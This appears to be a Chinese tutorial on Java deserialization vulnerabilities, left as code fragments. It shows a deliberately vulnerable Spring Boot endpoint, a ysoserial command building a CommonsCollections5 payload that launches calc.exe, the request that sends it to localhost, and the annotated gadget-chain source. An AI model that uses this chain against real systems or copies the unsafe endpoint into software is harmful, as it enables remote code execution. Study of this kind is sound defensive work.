带你掌握java反序列化漏洞及其检测

public class Hello implements java.io.Serializable { String name; }

private void writeObject(java.io.ObjectOutputStream out) throws IOException private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException;

public class Hello implements java.io.Serializable { String name; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { Runtime.getRuntime().exec(name); } }

<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency>

package com.example.demo; import java.io.IOException; import java.io.ObjectInputStream; import javax.servlet.http.HttpServletRequest; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; import org.springframework.web.bind.annotation.GetMapping; @SpringBootApplication @RestController public class DemoApplication { public static void main(String[] args) { SpringApplication.run(DemoApplication.class, args); } @GetMapping("/hello") public String hello() { return "hello world"; } // 反序列化接口 @PostMapping("/rmi") public String rmi(HttpServletRequest request) { try { ObjectInputStream ois = new ObjectInputStream(request.getInputStream()); Object obj = (Object) ois.readObject(); return "unmarshal " + obj.getClass().getName() + " ok"; } catch (ClassNotFoundException | IOException e) { return "unmarshal failed"; } } }

java -jar ysoserial-master-8eb5cbfbf6-1.jar CommonsCollections5 "calc.exe" > poc

http post http://127.0.0.1:8080/rmi < poc

public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( // 执行“链条”该类的transform会调用transformer使用反射执行命令 new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, execArgs), // 这里是我们输入的命令 calc.exe new ConstantTransformer(1) }; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); // 该类的get接口如果输入的key找不到会调用transform函数触发命令执行 TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo"); // 该类的toString会最终调用lazyMap.get BadAttributeValueExpException val = new BadAttributeValueExpException(null); // 最终反序列化的类，readObject会调用entry.toString Field valfield = val.getClass().getDeclaredField("val"); Reflections.setAccessible(valfield); valfield.set(val, entry); Reflections.setFieldValue(transformerChain, "iTransformers", transformers); return val; }

val = valObj.toString();

public String toString() { return this.getKey() + "=" + this.getValue(); }

public Object getValue() { return this.map.get(this.key); }

public Object get(Object key) { if (!super.map.containsKey(key)) { // 当找不到key的时候调用transform Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } }